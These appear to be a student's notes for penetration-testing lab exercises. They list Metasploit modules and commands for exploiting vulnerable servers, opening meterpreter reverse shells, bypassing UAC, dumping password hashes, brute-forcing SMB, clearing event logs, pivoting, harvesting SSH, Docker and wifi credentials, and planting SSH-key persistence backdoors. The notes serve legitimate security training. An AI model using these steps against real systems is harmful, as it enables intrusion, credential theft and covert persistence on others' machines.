Metasploit

Metasploit Framework (MSF)

• windows http file server
  • use msf module exploit/windows/http/rejetto_hfs_exec
• windows java web server
  • exploit the tomcat exploit/multi/http/tomcat_jsp_upload_bypass
• vulnerable ftp server
  • vsftpd is backdoored exploit/unix/ftp/vsftpd_234_backdoor
• vulnerable file sharing service
  • exploit the samba server exploit/linux/samba/is_known_pipename
• vulnerable ssh server
  • msf module auxiliary/scanner/ssh/libssh_auth_bypass
• vulnerable smtp server
  • haraka mail server exploit/linux/smtp/haraka, set SRVPORT 9898 email_to root@attackdefense.test payload linux/x64/meterpreter_reverse_http
• meterpreter basics
  • check the php file and realise xdebug enabled, use exploit/unix/http/xdebug_unauth_exec
  • available commands pwd ls lpwd lls edit cat download unzip rm checksum getenv PATH search -d /usr/bin -f *ckdo* lcd upload
• upgrading shells to meterpreter
  • exploit samba again exploit/linux/samba/is_known_pipename to get shell, upgrade to meterpreter with post/multi/manage/shell_to_meterpreter
• windows post exploitation
  • exploit hfs first to get shell exploit/windows/http/rejetto_hfs_exec
  • post exploitation using post/windows/gather/win_privs post/windows/gather/enum_logged_on_users post/windows/gather/checkvm post/windows/gather/enum_applications post/windows/gather/enum_computers post/windows/gather/enum_shares
• uac bypass, msf memory injection
  • exploit the hsf server exploit/windows/http/rejetto_hfs_exec, migrate to privileged process ps -S explorer.exe migrate 2124 getsystem
  • to use the memory injection, background the session and use exploit/windows/local/bypassuac_injection, migrate again and you can dump hashes ps -S lsass.exe migrate 484 hashdump
• exploiting smb with psexec
  • msf module to bruteforce auxiliary/scanner/smb/smb_login, set USER_FILE PASS_FILE RHOSTS and VERBOSE
  • msf module to gain access exploit/windows/smb/psexec, set RHOSTS SMBUser and SMBPass
• windows enable remote desktop
  • exploit the badblue exploit/windows/http/badblue_passthru
  • enable the rdp post exploit use post/windows/manage/enable_rdp
• clearing windows event logs
  • its just the clearev
• pivoting
  • exploit the hfs use exploit/windows/http/rejetto_hfs_exec, use the autoroute run autoroute -s 10.0.16.0/20
  • port forwarding in metasploit with portfwd add -l 1234 -p 80 -r demo2.ine.local and check the list with portfwd list
  • exploit the badblue on the internal server exploit/windows/http/badblue_passthru
• linux post exploitation lab I
  • exploit using use exploit/linux/samba/is_known_pipename
  • gather configuration files use post/linux/gather/enum_configs
  • gather environmental variables use post/multi/gather/env
  • gather network settings use post/linux/gather/enum_network
  • check system protections use post/linux/gather/enum_protections
  • gather system info use post/linux/gather/enum_system
  • check if inside container use post/linux/gather/checkcontainer
  • check if inside vm use post/linux/gather/checkvm
  • check user history use post/linux/gather/enum_users_history
  • spawn other types of shell use post/multi/manage/system_session
  • download file using meterpreter use post/linux/manage/download_exec
• privilege escalation, rootkit scanner
  • its a vulnerable rootkit scanner called chkrootkit found using ps -aux, exploit using use exploit/unix/local/chkrootkit
• linux post exploitation lab II
  • gather ssh credentials use post/multi/gather/ssh_creds
  • gather docker credentials use post/multi/gather/docker_creds
  • dump hashes use post/linux/gather/hashdump
  • extract ecrypt folder which may have credentials use post/linux/gather/ecryptfs_creds
  • extract wifi credentials use post/linux/gather/enum_psk
  • extract xchat use post/linux/gather/enum_xchat
  • extract phpmyadmin use post/linux/gather/phpmyadmin_credsteal
  • extract pptp tunneling protocol using use post/linux/gather/pptpd_chap_secrets
  • create sshkey backdoor use post/linux/manage/sshkey_persistence
• establishing persistence on linux
  • create sshkey backdoor use post/linux/manage/sshkey_persistence
• port scanning and enumeration with armitage
  • GUI for metasploit, click open shell
• exploitation and post exploitation with armitage
  • GUI for metasploit, open meterpreter and dump hashes